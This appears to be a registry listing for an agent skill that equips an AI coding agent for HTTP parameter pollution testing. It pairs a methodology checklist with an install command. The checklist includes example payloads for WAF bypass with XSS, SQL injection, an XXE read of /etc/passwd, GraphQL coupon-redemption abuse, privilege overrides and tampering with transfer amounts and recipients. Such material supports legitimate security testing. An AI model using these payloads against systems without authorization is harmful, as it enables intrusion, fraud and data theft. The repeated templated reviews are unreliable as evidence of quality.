Agent skill / SnailSploit
### offensive-parameter-pollution
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-parameter-pollutionExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-parameter-pollutionFetches offensive-parameter-pollution from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-parameter-pollution. Access via /offensive-parameter-pollutionin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-parameter-pollutionWorks with
HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.
Use this skill when the conversation involves any of:
parameter pollution, HTTP parameter pollution, HPP, duplicate parameter, WAF bypass, parsing differences, server-side HPP, client-side HPP, parameter injection
When this skill is active:
HTTP Parameter Pollution (HPP) is a web attack technique that exploits how web applications and servers handle multiple occurrences of the same parameter name. When a web application receives duplicate parameters, different technologies process them differently:
flowchart TD
subgraph "HTTP Parameter Pollution"
A[Multiple occurrences of same parameter] --> B{Server Technology}
B -->|ASP.NET/IIS| C[Uses first occurrence]
B -->|PHP/Apache| D[Uses last occurrence]
B -->|JSP/Tomcat| E[Uses first occurrence]
B -->|Perl CGI| F[Concatenates with comma]
B -->|Python/Flask| G[Builds array of values]
B -->|Node.js/Express| H[Uses first occurrence]
end
express uses either querystring (first-wins) or qs (arrays/last-wins). app.set('query parser', 'extended') changes behavior. Many middlewares assume param[]=a¶m[]=b for arrays; duplicates without [] can produce surprising results.HPP attacks leverage these inconsistencies in parameter handling across application layers, servers, proxies, and frameworks. Two main types of HPP exist:
sequenceDiagram
participant Attacker
participant WebApp
participant Backend
Attacker->>WebApp: Request with duplicate parameter<br/>param=safe¶m=malicious
Note over WebApp: Layer 1 processes first value
WebApp->>Backend: Forward request to backend
Note over Backend: Layer 2 processes last value
Backend->>WebApp: Process with malicious value
WebApp->>Attacker: Response
Identify forms and request parameters
Test duplicate parameters with different values:
// Original request
https://example.com/search?param=value1
// Test request
https://example.com/search?param=value1¶m=value2
Observe application behavior
Identify which value is used (first, last, concatenated)
# Original URL
https://target.com/page?parameter=original_value
# Polluted URL
https://target.com/page?parameter=original_value¶meter=malicious_value
Intercept a legitimate form submission
Add duplicate parameters with different values:
// Original POST body
parameter=original_value
// Modified POST body
parameter=original_value¶meter=malicious_value
Combining parameters in both URL and POST body:
// URL
https://target.com/page?parameter=url_value
// POST body
parameter=body_value
Testing duplicate keys in JSON objects:
{
"parameter": "value1",
"parameter": "value2"
}
Also test:
Cookie: role=user; role=admin
X-Role: user
X-Role: admin
Observe which value the application trusts.
GraphQL queries can be polluted through aliasing, batch mutations, and duplicate variables:
# Alias pollution - bypass rate limits
query {
a: user(id: 1) {
name
email
}
b: user(id: 2) {
name
email
}
c: user(id: 3) {
name
email
}
# ... repeat to z or beyond
}
# Variable pollution
query ($id: Int!, $id: Int!) {
user(id: $id) {
name
}
}
# Batch mutation pollution
mutation {
a: redeemCoupon(code: "SAVE50") {
success
}
b: redeemCoupon(code: "SAVE50") {
success
}
c: redeemCoupon(code: "SAVE50") {
success
}
}
WebSocket connections can carry polluted parameters in the upgrade request or message payloads:
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# URL with polluted params
ws://vulnerable.com/chat?token=valid&token=malicious&room=1&room=admin
// WebSocket message payload pollution
{
"action": "sendMessage",
"room": "public",
"room": "admin",
"message": "test"
}
Different frameworks handle array notation differently, creating pollution opportunities:
# PHP - expects brackets
param[]=value1¶m[]=value2
# Express (qs parser) - bracket optional
param=value1¶m=value2
# Rails - numeric indices
param[0]=value1¶m[1]=value2
# Mixed notation confusion
param=single¶m[]=array1¶m[0]=indexed
Testing strategy:
param=a¶m=b (no brackets)param[]=a¶m[]=b (array notation)param[0]=a¶m[1]=b (indexed)Using encoding and case variations to bypass filters:
# URL encoding variations
param=value1&par%61m=value2
param=value1&PARAM=value2
# Double/triple encoding
param=value1&par%2561m=value2
# Unicode normalization
param=value1&pαram=value2 # Greek alpha instead of 'a'
# Null byte injection (legacy)
param=value1¶m%00=value2
graph LR
subgraph "HPP Attack Vectors"
A[HTTP Parameter Pollution] --> B[Access Control Bypass]
A --> C[Request Forgery Enhancement]
A --> D[Data Manipulation]
A --> E[API Vulnerabilities]
B --> B1[Parameter Override]
B --> B2[Permission Escalation]
C --> C1[CSRF Token Bypass]
C --> C2[SSRF Augmentation]
D --> D1[SQL Query Manipulation]
D --> D2[Filter Evasion]
E --> E1[Parameter Precedence]
E --> E2[OAuth Manipulation]
end
https://example.com/admin?access=false&access=true
https://example.com/profile?user=victim&user=admin
https://example.com/transfer?token=valid_token&token=random_value&amount=1000
https://example.com/fetch?url=safe.com&url=internal.server
https://example.com/products?category=1&category=1 OR 1=1
https://example.com/search?q=safe_value&q=<script>alert(1)</script>
# Application authenticates using the first parameter but authorizes using the last
https://example.com/login?role=user&role=admin
# WAF checks the first parameter, backend processes the last
https://example.com/search?q=safe&q=<script>alert(1)</script>
# Bypassing XML filtering by parameter pollution
https://example.com/upload?xml=safe&xml=<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# Gateway picks first id, backend picks last id -> IDOR/AC bypass
/api/user?id=123&id=999
flowchart TD
A[HPP Testing Methodology] --> B[Initial Discovery]
A --> C[Exploit Development]
A --> D[Impact Assessment]
B --> B1[Map application parameters]
B --> B2[Test duplicate parameters]
B --> B3[Document behavior]
C --> C1[Access control testing]
C --> C2[Security control bypass]
C --> C3[API security testing]
D --> D1[Authentication bypass]
D --> D2[Authorization bypass]
D --> D3[Data manipulation]
Access Control Testing:
# Test privileged parameter override
https://example.com/admin?admin=false&admin=true
# Test user context override
https://example.com/profile?id=attacker&id=victim
Security Control Bypass:
# Test CSRF token pollution
token=legitimate&token=fake
# Test parameter validation bypass
param=valid_value¶m=malicious_value
API Security Testing:
# Test API parameter handling
/api/v1/user?id=123&id=456
# Test with different content types
Content-Type: application/json
{"id": "123", "id": "456"}
HTTP Request Smuggling via HPP:
# Testing inconsistent interpretation
Transfer-Encoding: chunked
Transfer-Encoding: identity
Header/Cookie Pollution:
Cookie: session=abc; session=attacker
X-Forwarded-Proto: http
X-Forwarded-Proto: https
# Price manipulation
https://shop.com/checkout?price=100&price=1
# Quantity override
https://shop.com/cart?quantity=1&quantity=100
# Amount parameter pollution
https://bank.com/transfer?amount=100&amount=10000
# Recipient override
https://bank.com/transfer?to=legitimate&to=attacker
# Permission bypass
https://cms.com/edit?permission=read&permission=write
# User impersonation
https://cms.com/admin?user=admin&user=victim
A specific case of parameter pollution that affects social sharing functionality:
Testing Methodology:
# Original share URL
https://target.com/article
# Polluted share URL
https://target.com/article?u=https://attacker.com&text=malicious_text
Common Parameters:
u or url: The URL to be sharedtext: Custom text for the sharetitle: Title of the shared contentdescription: Description for the shared contentImpact:
Testing Steps:
CVE-2021-41773 - Apache HTTP Server Path Traversal:
CVE-2018-8033 - Apache OFBiz:
HPP in OAuth Implementations (Multiple Vendors):
redirect_uri parameters in OAuth flowsAPI Gateway vs Backend Precedence (Bug Bounty):
id parameterid parameterGraphQL Rate Limit Bypass (Multiple Platforms):
WAF Bypass via HPP (Generic):
[] suffix for arraysPrerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
whyashthakker/beam-cli
emilkowalski/skills
skillcreatorai/ai-agent-skills
mindrally/skills
jamditis/claude-skills-journalism
aj-geddes/useful-ai-prompts
offensive-parameter-pollution is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Useful defaults in offensive-parameter-pollution — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Solid pick for teams standardizing on skills: offensive-parameter-pollution is focused, and the summary matches what you get after install.
Useful defaults in offensive-parameter-pollution — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
offensive-parameter-pollution is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Registry listing for offensive-parameter-pollution matched our evaluation — installs cleanly and behaves as described in the markdown.
offensive-parameter-pollution reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in offensive-parameter-pollution — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
offensive-parameter-pollution fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added offensive-parameter-pollution from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
showing 1-10 of 25